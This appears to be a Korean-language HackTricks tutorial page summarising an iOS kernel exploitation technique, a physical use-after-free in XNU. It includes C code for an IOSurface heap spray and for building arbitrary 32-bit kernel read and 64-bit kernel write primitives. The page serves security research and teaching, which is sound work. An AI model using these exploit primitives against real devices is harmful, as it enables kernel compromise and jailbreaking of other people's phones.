mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
203 lines
10 KiB
Markdown
203 lines
10 KiB
Markdown
# iOS Exploiting
|
|
|
|
## Physical use-after-free
|
|
|
|
이것은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 exploit에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다.
|
|
|
|
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
iOS의 **사용자 프로세스**에 대한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다.
|
|
|
|
#### Levels of Page Tables in iOS
|
|
|
|
페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다:
|
|
|
|
1. **L1 페이지 테이블 (레벨 1)**:
|
|
* 여기의 각 항목은 큰 범위의 가상 메모리를 나타냅니다.
|
|
* **0x1000000000 바이트**(또는 **256 GB**)의 가상 메모리를 포함합니다.
|
|
2. **L2 페이지 테이블 (레벨 2)**:
|
|
* 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트**(32 MB)입니다.
|
|
* L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다.
|
|
3. **L3 페이지 테이블 (레벨 3)**:
|
|
* 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다.
|
|
* L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다.
|
|
|
|
#### Mapping Virtual to Physical Memory
|
|
|
|
* **직접 매핑 (블록 매핑)**:
|
|
* 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다(단축키와 같은 방식).
|
|
* **자식 페이지 테이블에 대한 포인터**:
|
|
* 더 세밀한 제어가 필요할 경우, 한 수준의 항목(예: L1)은 다음 수준의 **자식 페이지 테이블**(예: L2)을 가리킬 수 있습니다.
|
|
|
|
#### Example: Mapping a Virtual Address
|
|
|
|
가상 주소 **0x1000000000**에 접근하려고 한다고 가정해 보겠습니다:
|
|
|
|
1. **L1 테이블**:
|
|
* 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 **L2 페이지 테이블에 대한 포인터**가 있다면, 해당 L2 테이블로 이동합니다.
|
|
2. **L2 테이블**:
|
|
* 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 **L3 페이지 테이블**을 가리킨다면, 그곳으로 진행합니다.
|
|
3. **L3 테이블**:
|
|
* 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 **물리 주소**를 가리킵니다.
|
|
|
|
#### Example of Address Mapping
|
|
|
|
물리 주소 **0x800004000**을 L2 테이블의 첫 번째 인덱스에 기록하면:
|
|
|
|
* 가상 주소 **0x1000000000**에서 **0x1002000000**까지는 물리 주소 **0x800004000**에서 **0x802004000**까지 매핑됩니다.
|
|
* 이는 L2 수준에서의 **블록 매핑**입니다.
|
|
|
|
대신, L2 항목이 L3 테이블을 가리키는 경우:
|
|
|
|
* 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다.
|
|
|
|
### Physical use-after-free
|
|
|
|
**물리적 use-after-free** (UAF)는 다음과 같은 경우에 발생합니다:
|
|
|
|
1. 프로세스가 **읽기 및 쓰기** 가능한 메모리를 **할당**합니다.
|
|
2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다.
|
|
3. 프로세스가 메모리를 **해제**(프리)합니다.
|
|
4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 프리로 표시하더라도.
|
|
5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다.
|
|
6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다.
|
|
|
|
이는 프로세스가 **커널 메모리의 페이지**에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 **커널 메모리**를 **조작**할 수 있는 가능성을 제공합니다.
|
|
|
|
### Exploitation Strategy: Heap Spray
|
|
|
|
공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **힙 스프레이**라는 기술을 사용합니다:
|
|
|
|
1. 공격자는 커널 메모리에 **많은 수의 IOSurface 객체**를 생성합니다.
|
|
2. 각 IOSurface 객체는 그 필드 중 하나에 **매직 값**을 포함하여 쉽게 식별할 수 있게 합니다.
|
|
3. 그들은 **해제된 페이지를 스캔**하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다.
|
|
4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다.
|
|
|
|
이와 관련된 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다.
|
|
|
|
### Step-by-Step Heap Spray Process
|
|
|
|
1. **IOSurface 객체 스프레이**: 공격자는 특별한 식별자("매직 값")로 많은 IOSurface 객체를 생성합니다.
|
|
2. **해제된 페이지 스캔**: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다.
|
|
3. **커널 메모리 읽기/쓰기**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해:
|
|
* 한 필드를 사용하여 **커널 메모리**에서 **32비트 값**을 **읽을 수** 있습니다.
|
|
* 다른 필드를 사용하여 **64비트 값**을 **쓸 수** 있으며, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다.
|
|
|
|
IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
**`IOSurface`** 객체를 하나의 해제된 물리 페이지에서 검색:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### 커널 읽기/쓰기를 IOSurface로 달성하기
|
|
|
|
커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 **임의의 커널 읽기 및 쓰기 작업**에 사용할 수 있습니다.
|
|
|
|
**IOSurface의 주요 필드**
|
|
|
|
IOSurface 객체에는 두 가지 중요한 필드가 있습니다:
|
|
|
|
1. **사용 카운트 포인터**: **32비트 읽기**를 허용합니다.
|
|
2. **인덱스 타임스탬프 포인터**: **64비트 쓰기**를 허용합니다.
|
|
|
|
이 포인터를 덮어쓰면 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화할 수 있습니다.
|
|
|
|
#### 32비트 커널 읽기
|
|
|
|
읽기를 수행하려면:
|
|
|
|
1. **사용 카운트 포인터**를 목표 주소에서 0x14 바이트 오프셋을 뺀 주소로 덮어씁니다.
|
|
2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64비트 커널 쓰기
|
|
|
|
쓰기 작업을 수행하려면:
|
|
|
|
1. **인덱스된 타임스탬프 포인터**를 대상 주소로 덮어씁니다.
|
|
2. `set_indexed_timestamp` 메서드를 사용하여 64비트 값을 씁니다.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Exploit Flow Recap
|
|
|
|
1. **물리적 Use-After-Free 트리거**: 해제된 페이지는 재사용 가능하다.
|
|
2. **IOSurface 객체 스프레이**: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당한다.
|
|
3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾는다.
|
|
4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 한다.
|
|
|
|
이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공한다. 추가적인 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수도 있다.
|